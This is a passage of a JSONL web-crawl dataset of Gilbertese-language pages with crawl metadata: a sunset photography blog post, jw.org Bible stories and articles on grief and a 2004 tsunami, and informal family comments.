bwa e nangi bung? E taku mwanewena, \"Tiiron Tiron, Taaron Taaron ….\" N aia tai n anene ao a boni bae ni mena iaon te bike (lagoon side) ao n tabe ni matakuakina taai n ana tai n ruruon ao n rinnako ian tari. Bukin tera aki toki atein Kiribati ni kakaraoa te waaki aei? Teuana bukina ae ti aki nanououa iai bwa a katikaki nanoia ni karan (colours) te sunset.\nIrouia photographers ao te bwakantaai bon te aoa ae rangi n tamaroa ibukin te rawetamnei kioina ngke e marau te oota iai. N te English ao e aranaki bwa te Golden Hour ke te tai are e koora iai te oota.\nI kuri aki ooa kabanean aoan te Golden Hour n te bong aei. Taai e nang mauna nako ma I tekeraoi bwa I kauia n te tabo ae ko noria aio. I kataia ni kabongana te nei anne bwa te rain are e na kaira matan te tia mataku nakon te sun are e nang set in the west.\nIai te anga ae I kona ni katamaroa riki iai te sunset aei?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/aerophotoblog.com\/category\/sunsets\/","date":"2018-04-26T03:34:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948064.80\/warc\/CC-MAIN-20180426031603-20180426051603-00554.warc.gz","language":"gil","language_score":0.9998745918,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9998745918273926}","num_words":622,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.315,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Taraiati ae te I-Miria bon te uea riki temanna i Baburon. E noria Taraiati bwa iai te bwai ae okoro iroun Taniera. E mwiokoa Taniera bwa e na mataniwi i aoia mwaane aika rangi ni kakannato i Baburon. A bakantang mwaane aikai iroun Taniera ao a kakaaea te anga ae a na kabuakakaa iai. A ataia ae e tatataro Taniera nakon Iehova tenua te tai ni katoabong, ngaia are a taku nakon Taraiati: 'Te uea, e riai ni karaoaki te tua teuana bwa a na bane aomata n tataro tii nakoim. Ao ane e riaon te tua aei, e na karenakoaki ni nneia raian.' E kukurei iai Taraiati ao e kanikinaea te tua.\nN te tai are e ongo iai Taniera taekan te tua ae boou aei, e a nakon naba ana auti. Ngke e a roko i matan ana winto ae uki, e katorobubua ao e tataro nakon Iehova. A ienikuri n rin n ana auti mwaane ake a bakantang ao a ooia n tataro. A biri nakon Taraiati ao a taku: 'E aki ongeaba iroum Taniera. E tataro nakon Atuana tenua te tai ni katoabong.' E taatangira Taniera Taraiati ao e aki tangiria bwa e na mate. E kataia ni kakaaea te anga ae e na kamaiua iai Taniera ni karokoa ae bong. Ma e aki kona naba te uea ni bita te tua ae e a tia ni kanikinaea. E a riai n anga ana tua nakoia ana aomata bwa a na karenakoa Taniera ni nneia raian aika tiritiri.\nN te tairiki anne, e rangi n tabeaianga Taraiati ibukin Taniera ao e a aki kona ni matu. Ngke e a ingabong, ao e biri te uea nakoni nneia raian ma ni wetea Taniera ao e taku: 'E kamaiuko Atuam?'\nE ongo te bwanaa Taraiati, ao boni bwanaan Taniera! E taku nakon Taraiati: 'E kaini wia raian ana anera Iehova, ao a aki roko n te tenaai.' E rangi ni kukurei Taraiati! E tua bwa e na kaerakeaki Taniera man te mwarua. Ao bon akea ikoakina. E a tua ngkanne te uea ni kangai: 'Karenakoia mwaane ake a kabuakakaa Taniera nakon te mwarua.' Ngke a bwaka mwaane akekei n te mwarua, a a boni kanaki naba irouia raian.\nE kanakoa Taraiati nakoia ana aomata te tua aei: 'A riai ni maaka Atuan Taniera aomata ni kabane. E kamaiua Taniera mairouia raian.'\nKo tatataro naba ngkoe nakon Iehova ni katoabong n aron Taniera?\n\"E ataa Iehova aroni kamaiuaia aomata ake a tangiria, man te kataaki.\"—2 Betero 2:9","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/10\/taniera-ao-nneia-raian\/","date":"2018-04-22T11:16:16Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945584.75\/warc\/CC-MAIN-20180422100104-20180422120104-00625.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":417,"character_repetition_ratio":0.065,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E karakinaki n te mwakoro aei rongorongoni maiun te Uea ae Tauro ao te Uea ae Tawita n te maan ae tao 80 te ririki. N te moantai, e bon nanorinano Tauro ao e mamaaka te Atua, ma e waekoa ni bitaki maiuna ao e a aikoa ongeaba n ana kairiri Iehova. E aki kukurei Iehova irouna ao imwina riki e tua nakon Tamuera bwa e na kabira Tawita bwa e na riki bwa uean Iteraera imwin Tauro. E bakantang iai Tauro ao e kataia n tiringa Tawita n taai aika bati ma e aki roko n te kaoka kaina Tawita. E ataia natin Tauro ae Ionatan bwa Iehova e rinea Tawita ngaia are e a kakaonimaki ni koaua nakon Tawita. E karaoi buure aika kakaiaki tabeua Tawita, ma akea te tai ae e aki butimwaea iai ana reirei ni kaetieti Iehova. Ngkana te karo ngkoe, buoka natim bwa e na ataa kakawakini boutokaan ana babaire te Atua n taai nako.\nN TE MWAKORO AEI\nREIREI 39\nE karekeia taani motikitaeka te Atua bwa a na kaiririia tibun Iteraera, ma a tangira riki te uea. E kabira Tauro Tamuera bwa te moan uea, ma imwina riki e a aki kukurei Iehova iroun Tauro. Bukin tera?\nREIREI 40\nE rineaki Tawita iroun Iehova bwa e na ruamwin uean Iteraera, ao e oti iroun Tawita bukina ngkai e eti rineana.\nREIREI 41\nE aera ngkai temanna i buakoia naakai e riribaa are temanna, ao tera aroaron teuare e riribaaki?\nREIREI 42\nE riki natin te uea bwa raoraon Tawita ni kaan.\nREIREI 43\nE karekei kangaanga aika bati te motinnano ae buakaka.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/7\/","date":"2018-04-25T15:59:08Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125947931.59\/warc\/CC-MAIN-20180425154752-20180425174752-00323.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":264,"character_repetition_ratio":0.056,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.447,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ko a tia n namakinna ae ai akea te bwai ae ko kona ni karaoia, ngkana iai i rarikim te aomata ae nanokawaki ni buan ae tangiraki irouna? N tabetai, ti aki ataa te bae ti na taekinna ke ni karaoia, ao n tokina bon akea te bae ti taekinna ke ni karaoia. Ma iai baika manena ao n ibuobuoki aika ti kona ni karaoi.\nN angiin te tai e tii kainnanoaki rokom ao am taeka ae kangai, \"I rangi n nanokawaki n te bae ko rinanona.\" A bati katei ae te irabwati ke koonan anganibain temanna, bon te anga teuana ni kaota iai tabeakinana. Ngkana e kani maroro te aomata are nanokawaki arei, kakauongo raoi ma te akoi. Ae tamaroa riki, karaoa te bwai teuana ibukin te utu are taonaki n te nanokawaki, tao ko karaoa te bwai teuana are e aki kona ni karaoia te aomata ae taonaki n te nanokawaki, n aron te kuuka, taraakia natina, ke buokia ni karaoi bwaai tabeua ibukin te taunimate ngkana anne ae kainnanoaki. A uaana riki mwakuri aikai nakon taeka aika rangi n ringa te nano.\nImwina riki ko kona ni karakina te aomata are mate, ma tao ko kaatuua riki taekan aroarona tabeua aika raoiroi ke taai aika kakukurei. Aeka ni maroro akanne e kona ni wingare iai te aomata are nanokawaki. N te katoto, e taku Pam are e mate buuna ae Ian onoua te ririki n nako: \"N tabetai iai tabeman aika karakin nakoiu baika raraoi ake e karaoi Ian aika I aki atai, ao e riki anne bwa kukureiu.\"\nA ribootinna taani kakaae bwa a bati aomata ake a nanokawaki ni buan ae tangiraki irouia, ae e bati buokaia n te moantai ma a a manga waekoa ni mwanuokinaki kainnanoia, ibukina bwa raoraoia a a manga bon tabeakin aroni maiuia. Ngaia are karerekea am tai ma raoraom are nanokawaki imwini buan ae tangiraki irouna. * A bati aika nanokawaki ake a rangi ni kakaitau ibukini kabebeteaia man nanokawakia ae wenemaan.\nIangoa te aine ae te I-Tiaban ae Kaori, are e karawawataaki ni maten tinana, ao ni maten tarina ae karimoana 15 te namwakaina imwina. E kakaitau neiei bwa e teimatoa buokana irouia raoraona ni koaua. Te aine temanna ae ikawai riki nakon neiei ae arana Ritsuko, e kukurei n riki bwa raoraon neiei. E taku Kaori: \"Ni koauana, I bon aki kukurei iai. Bwa akea riki ae I kan aranna bwa tinau, ao irou bon akea ae kona n riki bwa tinau. Ma ibukin tabeakinau irouni Mama Ritsuko, I a namakinna ae I a kaan riki ma ngaia. Ni katoa wiki, ti uaia n uarongorongo, ao ti uaia naba ni kaakaei botaki ni Kristian. E kaoai naba bwa N na moi ranibue ma ngaia, e nikira kanau, ao e kororeta naba nakoiu n taai aika bati. I rangi n rotaki n anuani Mama Ritsuko aika raraoi.\"\nAi tebwi ma uoua te ririki n nako imwini maten tinan Kaori, ao ngkai e a riki neiei ma buuna bwa taan uarongorongo aika kabwanina aia tai. E taku Kaori: \"E teimatoa Mama Ritsuko ni kaota tabeakinau. Ni katoaa okiu nakon au kaawa ao I boni kakawaria ma n ikaungaunga ma ngaia.\"\nE buokaki naba temanna Ana Tia Kakoaua Iehova i Cyprus ae Poli, man te ibuobuoki ae teimatoa. E rangi n akoi buun neie Poli ae Sozos, ao e katea te katoto ae raoiroi ngkai ngaia te tia kawakintiibu, n arona ni katoatai ni kakaoia ataei aika mate aia karo ao aine aika mate buuia nakoni mwengana, n ikaungaunga ma ngaiia ao n amwarake. (Iakobo 1:27) Ma e mate Sozos ngke ai 53 ana ririki bwa e kaentia kaburorona. E taku Poli: \"E a kitanai buu ae rangi ni kakaonimaki nakoiu, are I a tia n tekateka ma ngaia i nanon 33 te ririki.\"\nImwin taunakini buuna, ao e a mwaing Poli nako Kanata ma ana bina ae Daniel ae 15 ana ririki. Ao a rereitaki ma Ana Tia Kakoaua Iehova ikanne. E ururing ni kangai Poli: \"Bon akea aia atatai ni baika a a tia n riki nakoira ke ara kangaanga raoraora n ara ekaretia ae boou. Ma a bon teimatoa naba ni kakawarira ao ni kabebeteira n aia taeka n akoi ao n aia ibuobuoki. Ai kakawakira te ibuobuoki anne, moarara riki n taai ake e rangi ni kainnanoa iai tamana natiu aei! A kaota naba tabeakinan Daniel taani kairiri n te ekaretia. Temanna i buakoia e a boni kaakaoa naba Daniel nakon te botaki ni kaungaunga ke ngkana a kaakibotu.\" E a nakoraoi ngkai aron te tina aei ma natina.\nEng, a bati aanga aika ti kona iai ni buokiia ao ni kabebeteia akana nanokawaki. E kabebetei nanora te Baibara rinanon te kantaninga ae kakukurei n taai aika imwaira.\n^ bar. 6 Tabeman a kanikinaea te bong ni mate n aia karenta, ike a kauringaki iai bwa a na riai n tauraoi n anga te kabebetenano ngkana e kainnanoaki, tao n te bong n namwakaina anne ke imwaina teutana.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na3-2016-mei\/aroni-kabebetean-ae-e-korakora-nanokawakina\/","date":"2018-04-21T01:07:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125944848.33\/warc\/CC-MAIN-20180420233255-20180421013255-00469.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":824,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.216,"stopwords_ratio":0.4,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E KAITIAKA TE TEMBORA IESU\nImwin te mare i Kana ao e a mwananga Iesu nako Kaberenaum ma tinana ao tarina mairoun tinana aika Iakobo, Ioteba, Timon, ao Iuta.\nMa bukin tera ngkai e nako Kaberenaum Iesu? E rangi n ataaki riki te kaawa aei nakon Natareta ke Kana ao e rangi ni bubura naba. A mwaiti naba taan rimwin Iesu aika boou ake a maeka i Kaberenaum ke n uakaan. Ngaia are e a kona Iesu ni kataneiaia ni bon oin aia kaawa.\nE bae naba ni karaoi mwakuri aika kamimi Iesu i nanon tikuna i Kaberenaum. Ngaia are a mwaiti aomata n te kaawa ao n taabo ake i rarikina aika ongo taekani baike e karaoi ikanne. Ma e na waekoa ni mwananga Iesu ma raona aika mwaane aika I-Iutaia ake a kakaonimaki nako Ierutarem ibukini kaean te Toa ae te Riao n 30 C.E.\nNgke a mena n te tembora taan rimwina ao a nora aron Iesu ae moan te kamimi, ae kaokoro ma are a nonoria mai mwaina.\nA riai tibun Iteraera i aan ana Tua te Atua n anga te man bwa aia karea n te tembora, ao a kainnanoa naba kanaia iruwa ibukin tikuia ikanne. Ngaia are e a kariaiakaki i aan te Tua bwa a na uamwane te koraki ake a mwananga nako Ierutarem man taabo aika raroa ibukini boon \"taiani kao, tiibu, kooti,\" ao bwaai riki tabeua aika bongana i nanon tikuia n te kaawa. (Te Tua-Kaua 14:24-26) Ibukin anne ao a kaboonakoi maan ao mannikiba taani boobwai n te katawanang ae bubura n te tembora. Ao tabeman mai buakoia, a babakanikawaiia aomata n aroia ni kaboobuakai aia bwai.\nE a korakora unin Iesu ngaia are e a kabwaroi aia mwane taan raimwane, e karangai aia taibora, ao e kaotinakoia aomata. E taku ngkanne Iesu: \"Uotiinako baikai mai ikai! Katoka karaoan umwan Tamau bwa te auti ni boobwai!\"—Ioane 2:16.\nNgke a nora aei taan rimwina ao a uringa te taetae ni burabeti ibukin Natin te Atua ae kangai: \"E kororake ingaingan nanou ibukin umwam.\" Ma a titiraki I-Iutaia ni kangai: \"Tera te mwakuri ae kamimi ae ko kona ni kaotia nakoira, ngkai ko a karaoi baikai?\" E kaeka Iesu ni kangai: \"Urua te tembora aei ni kabwakaa, ao N na manga kateia i nanon tenibong.\"—Ioane 2:17-19; Taian Areru 69:9.\nA iangoia I-Iutaia bwa Iesu e nanona taekan te tembora ni koaua are i Ierutarem, ngaia are a a titirakinna ni kangai: \"E karaoaki te tembora aei i nanon 46 te ririki, ao ngkoe, ko na kateia i nanon tenibong?\" (Ioane 2:20) Ma e bon taekina taekan rabwatana Iesu bwa kaanga te tembora. Tenua te ririki imwina ao a uring taeka aikai taan rimwina ngke e a kautaki man te mate.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/iesu\/moanakin-mwakuri-ni-minita\/ingainga-ibukin-te-atua\/","date":"2018-04-24T03:52:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125946453.89\/warc\/CC-MAIN-20180424022317-20180424042317-00314.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":451,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.377,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E atai tian ara konabwai Iehova ao e aki tangiria bwa ti na karaoa ae riaon ara konaa. Iroun te Atua, bon iteran naba ara taromauri ae kakawaki ara iraorao ma tarira. Ngkana ti tangiria bwa e na butimwaei ara karea Iehova, ti riai ni karaoa ae riai nakoia tarira, n tangiriia, ao ni karineia.\nKo tangiria ni wareka te kaongora aei n %%?\nTera ae E Tangiria Iehova Mairoura?","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/jw-te-boki-n-reirei\/nobembwa-2017-mwb\/kaetieti-ibukin-te-botaki-nob20-26\/tera-ae-e-tangiria-iehova\/","date":"2018-04-26T14:36:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948214.37\/warc\/CC-MAIN-20180426125104-20180426145104-00288.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":69,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.215,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bon te rorobuaka n ataei Ioteba ae natin naba Iakoba. A noria tarina aika ikawai bwa e taatangira riki Ioteba tamaia. N am iango, tera aia namakin iai? A bakantang iroun Ioteba ao a ribaia. E kaongoia tarina Ioteba miina aika kamimi. Nanoni miina akekei irouia bwa a na bobaraaki nakoina n te tai teuana. Ngaia are a a rangi n ribaia riki!\nN te bong teuana, a nako tarin Ioteba n tararuaiia tiibu i rarikin te kaawa ae Tekem. E kanakoaki Ioteba iroun Iakoba bwa e na noriia bwa a uara. A taku i marenaia ngke a nora Ioteba mai kiraroa: 'E a roko te tia mii anne. Ti na kamatea!' A katikia ao ni karenakoa n te mwarua teuana ae nano. Ma e taku Iuta are tariia: 'Tai kamatea! Ma ti na kaboonakoa bwa te toro.' Ngaia are a kaboonakoa Ioteba n 20 te mwakoro n tirewa nakoia taan iokinibwai aika tibun Mirian ake a na nako Aikubita.\nImwina, a kateboa ana kamwarai Ioteba n raraan te kooti, ao a kanakoa nakon tamaia ma n taku: 'Tiaki ana kamwarai natim aei?' E taku i nanona Iakoba bwa e kamateaki Ioteba n te man ni kaakang. E rangi n uruaki nanona, ao akea ae kona ni kabebetea.\nE kaboonakoaki Ioteba i Aikubita bwa ana toro Botiba, ae te mataniwi temanna ae kakannato. Ma e memena Iehova iroun Ioteba. E noria Botiba bwa Ioteba bon te aomata ae rabakau ni mwakuri ao e kona n onimakinaki. E waekoa ni mwiokoaki Ioteba bwa te mataniwi i aon ana bwai ni kabane Botiba.\nE noria buuni Botiba bwa e botonimwaane Ioteba ma ni korakora. E katoabong neiei n tuanga Ioteba bwa e na wene ma ngaia. Ma tera ae e karaoia Ioteba? E aki kariaia ao e taku: 'I rawa! E bure te mwakuri anne. E onimakinai au toka ao boni buuna ngkoe. Ngkana I wene ma ngkoe, I bure iai nakon te Atua!'\nN te bong teuana ao e kataia buuni Botiba n taumatoaa Ioteba bwa e na wene ma ngaia. E tinea ana kunnikai ma e birinako teuaei. Ngke e a oki Botiba nakon te auti, e a taekinna neiei bwa e karaoa ae aki riai Ioteba nakoina. E bon aki taekina te koaua. E rangi n un Botiba ao e a karina Ioteba n te karabuuti. Ma e aki mwaninga Iehova taekan Ioteba.\n\"Mangaia ae kam na kananorinanoingkami i aani bain te Atua ae mwaaka, bwa e aonga ni karietataingkami n taina ae riai.\"—1 Betero 5:6","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/booki\/karaki-man-te-baibara-reirei\/4\/ioteba\/","date":"2018-04-22T05:39:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125945493.69\/warc\/CC-MAIN-20180422041610-20180422061610-00051.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":415,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.225,"stopwords_ratio":0.448,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"N RITEMBWA 26, 2004, ao e riki te mwaeiei ae 9.1 korakorana ike e a mwaeiei iai aontano n te aba ae Simeulue i meangimaeaon Sumatra i Indonesia. A bane aomata n taraa taari. E a waekoa n ikinako taari nakon are e taneiai te aba iai. A bane aomata ni biri nakon tabuki ngkekei naba ao a tatakarua, \"Smong! Smong!\" ae nanona te tunami. Imwin 30 te miniti, a a bwaro naao aika kokorakora ma ni bwaro i aoni mataniwin te aba ike a a uruaki iai angiini mwenga ao kaawa.\nSimeulue bon te moan aba ae oreaki n te tunami ae rangi ni kakamaaku aei. Ma bon tii 7 aika mate mai buakoia kaaina aika 78,000. E aera ngkai tii tabeman? * E kangai aia koaua kaain te aba: 'Ngkana iai te mwaeiei ae korakora ao e ikinako taari, biiri nakon taian tabuki bwa e na waekoa n roko taari i mataniwin te bike.' N aron ae e a tia n riki rimoa, a kona kaain te tabo aei n ataa rokon te tunami mani bitakin taari. E kona ni kamaiuia aomata mutiakinani kauring ibukini baika a na riki.\nE taekinaki naba n te Baibara te kabuanibwai ae e a kaan roko ae te \"rawawata ae korakora ae tuai ni kaoti mangke e moani karikaki te aonnaba ni karokoa ngkai, ao e na aki manga kaoti rimwi.\" (Mataio 24:21) Ma e na bon aki maunanako ara buraneti ae te Aonnaba n aia mwakuri aomata aika akiako ke kabuanibwai tabeua aika riiriki, bwa bon ana kantaninga te Atua bwa e na teimatoa te aonnaba n aki toki. (Te Minita 1:4) Ma te rawawata ae i aoni kawaina n roko bon ana mwakuri te Atua ni \"kamaunaia iai te koraki ake a urua te aonnaba.\" Bon tokin te buakaka ni kabane ma te rawawata. (Te Kaotioti 11:18; Taeka N Rabakau 2:22) Anne te kakabwaia ae nang roko!\nIrarikin anne, e kaokoro te kamaunanakoaki ae i aoni kawaina n roko ma taian tunami, mwaeiei ke warekeno, bwa a na aki mate aomata aika akea aia bure iai. E taku te Baibara: \"Te Atua bon te tangira,\" ao e berita te Atua are arana Iehova bwa \"a na abana te aba akana raoiroi, ao a na mamaeka iai n aki toki.\" (1 Ioane 4:8; Taian Areru 37:29, BG) Ma kam na kangaa ni kamaiuaki man te rawawata ae korakora ao ni karekei kakabwaia ake a beritanaki? Kiingina boni Mutiakinani kauring ibukini baika a na riki!\nTARATARAI RAOI BITAKI AIKA RIKI\nTi aki kona n taekina raoi te tai are e nang toki iai te buakaka ao te rawawata ni kabane bwa e taku Iesu: \"Akea ae ataa te bong ma te aoa anne, a aki ataia anerani karawa ao e aki ataia naba te Nati, ma tii te Tama.\" Ngaia are e kaungaira Iesu bwa ti na \"teimatoa n tantani.\" (Mataio 24:36; 25:13) Bukin tera? E kabwarabwaraaki nakoira n te Baibara baika a na riki n te aonnaba imwaini karokoan te toki iroun te Atua. N aron are a tarataraa raoi ikinakon taari kaain Simeulue bwa kanikinaeani kaanin rokon te tunami, korakorani bitaki aika riki bon te kanikina naba nakoira bwa e a uakaan te toki. E kamatataaki n te bwaoki bitaki tabeua aika korakora ake a taekinaki n te Baibara.\nEng, a a tia n riki n taai aika nako tabeua mai buakoni baikana a karinanaki n te bwaoki anne. Ma e taku Iesu bwa n norani \"baikai ni kabane,\" ti na ataia iai bwa e a rangi ni kaan te toki. (Mataio 24:33) Titirakiniko ni kangai, 'N ningai n rongorongon aonnaba ae baikana kabwarabwaraaki akanne (1) a riki ni katobibia te aonnaba, (2) a riki n te tai ae tii teuana, ao (3) a a rikirake ni korakora n te aro ae tuai man nonoraki mai mwaina?' E teretere bwa ti a mena ngkai n te tai anne.\nKAOTAN ANA TANGIRA TE ATUA\nE taku te beretitenti n te U.S. rimoa: \"Babaire ibukin te moantaai ni kauring . . . boni kamaiuaia aomata.\" Imwin rokon te tunami n 2004, ao a a karaoaki babaire ibukini kauring n taabo ake a rotakibuaka bwa e aonga n totokoaki manga buani maiuia aomata nakon taai aika a na roko. N aron naba anne, e a tia te Atua ni katauraoi kauring ibukini baika a na riki nakoia aomata imwain rokon te toki. E a kaman taekinaki n te Baibara bwa \"e na tataekinaki te rongorongo ae raoiroi aei ae taekan te tautaeka n uea, n te aonnaba ni kabutaa bwa te bwai ni kaotioti nakoia botannaomata ni kabaneia, ao ngkanne e a roko naba te toki.\"\nN te ririki ae nako, ao a kabanea te aoa ae 1.9 te birion Ana Tia Kakoaua Iehova n tataekina te rongorongo ae raoiroi n aaba aika 240 ao n taetae aika raka i aon 700. Te rikirake aei ni boong aikai bon te bwai ni kakoaua ae aki kona ni kakeweaki bwa e a kaan te toki. A kairaki n tangiraia raoia Ana Tia Kakoaua Iehova bwa a na kabanei korakoraia ni kauringia aomata nako taekan ana bong ni motikitaeka te Atua ae e a rangi ni kaan roko. (Mataio 22:39) Te koaua ae ko kona ni kakabwaiaaki man te rongorongo aei bon te bwai ni kakoaua ibukin tangiram iroun Iehova. Uringnga bwa \"e aki tangira kamaunaan temanna [te Atua] ma e tangiriia aomata nako bwa a na rairi nanoia.\" (2 Betero 3:9) Ko na karaoi bitaki ibukin tangiram iroun te Atua ao ni mutiakini kauring ibukini baika a na riki?\nBIRINAKO IBUKINI KAMAIUAM!\nUringnga are a birinako kaaini kaawa ake a mena i rarikin taari i Simeulue nakon te tabo ae rietata riki ibukini kamaiuaia n te tai are a nora iai ikinakon taari. A bon aki tataningaa manga okin taari. A boni kamaiuaki n aia motinnano. Ngkana ko kani kamaiuaki man te rawawata ae korakora ae e a kaan roko, ko riai naba ni birinako nakon te tabo ae aongkoa e rietata riki imwain ae ko a oimwi. N te aro raa? E kairaki n te taamnei te burabeti ae Itaia bwa e na korea te kakao ae kaunganano nakoira i nanoni \"boong aika kaitira,\" ae te tai ae ti a mena iai ngkai. E taku: \"Kam na kaaraki, ao ti na ararake nakon ana maunga Iehova, . . . E na reireira ana aro nako, ao ti na nakonako ni kawaina nako.\"\nTe nako taubukin te maunga e karietataa am taratara ao e kairiko nakon te tabo ae ko na kamaiuaki iai. N aron naba anne, ataakin ana aro nako te Atua rinanon te Baibara ti a boni buokiia iai aomata aika mirion ma mirion ni katobibia te aonnaba bwa a na karaoi bitaki aika a na kakabwaia iai ni maiuia. (2 Timoteo 3:16, 17) Ngkana a karaoa anne, a a moanna iai n 'nakonako ni kawain nako te Atua' ao ni karekea akoaia ma kamanoaia irouna.\nKo na karaoa nanon te kakao anne ao ni kakabwaiaaki n ana kamanomano ae tatangira te Atua i nanoni boong aika karuanikai aikai? Ti kaumakiko bwa ko na nenera raoi te bwai ni kakoaua man te Baibara ibukini \"kabaneani boong\" ane n te bwaoki. A kukurei Ana Tia Kakoaua Iehova akana n am aono ni buokiko bwa ko aonga n ota raoi ni kiibu aika kaotaki ao ni maiuakini naba. Ke ko kona ni karekei kaekaan am titiraki ngkana ko kawara ara atureti ae www.jw.org. Nora BIBLE TEACHINGS > BIBLE QUESTIONS ANSWERED.\n^ bar. 3 A mate aomata aika raka i aon 220,000 n te tunami ae n 2004, ae teuana mai buakon tunami ae korakora ana urubwai.","id":"","dump":"CC-MAIN-2018-17","url":"https:\/\/www.jw.org\/gil\/Bwaai-Aika-Kakaongora\/maekatin\/taua-n-tantani-na2-2016-maati\/te-kauring-ibukin-te-rawawata-ae-korakora\/","date":"2018-04-20T01:38:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125937090.0\/warc\/CC-MAIN-20180420003432-20180420023432-00366.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":1231,"character_repetition_ratio":0.053,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.437,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"hey bro ai bon antai am kabae anne..itiba kunea ae iai am kabae ma ai bon antai moa ba nakina..paliiiz...antai natina ao kain iaa..koa kabarabara raoi nakou next u rite ok...boy oiko ga sagai mamauaina gori kerr..heheheh..joke mada...etau ma koangan naba au sis inlaw anne au kamauri ao tuanga ba enaki kabatia arona nakoim ba manem aio eunun kerr..make sure 2 tel her dat...iiiiiiiiiiii heheheh.....tinang ata ae nga ao are e atainimmane d aomata...\nhi bro,te kabara bure riki bukin te bairo ae kora2...ikataia ni katuka au comment nam page ma te kangare ba ngaia iamanga bon comment nakou ma tai raraoma coz tis time no more mistake...shshhs..enang kora2 te brain damage irou dats y...ngkana kokan reitaki mangai iaon te internet ao awaio au adress..firstname.lastname@example.org...timanga bon rereitaki mwina kenga bro...regards to all the family...nisa moce...\nHEY TUTU MAURI MOA NGKOE..KONAG RO2NGA KERR..AU ARA NGKAI NEI BABAI MA KAIRO....NOO IMANGA TAKU BA ANTAI NGAIA BON I NGKE MA EANGA MOA MANEM ARE NEI KABUTA,,,TUANGA BA TEKEE EKAKAEA...ETAU MA ERARABA NABA TE URURING AO KOA ANGA NAMA AU KAMAURI NAKOIA KAIN TEAUTI AO KAIN RAMBI IKANNE...GUD LUK ANYWAY...\nhey...e bubura wiim ngke ea raroa belom anne kee...ao ngke i mwena irarikim ao ko \"lamu\"....ssshhhh, ea tau bwa e baka am points bwa ia tia ni tekeniko nte batere...aeia...tei bati ni kabubura am bai anne bwa mwina ea manga tekenaki iroun au kai aio...ke ekanga teuaio....mwuahs! moa kee\nhi bro shshs enang raraba te reply ao te news as well ma kain t auti ko rab bon te kekeiaki naba ao abon nang kan oki nakoati ba enang kaoraki ikai\nao riki mum enang miss u all\nma eaoria ba ai bon ana katautau te uea anne ao auara moa kain teauti back at rabi ma koagania naba au kamauri ker ok takecare brada\nhi bro mauri mani banan manem ae raroanako mai irarikim ko uara shshs ao e uara 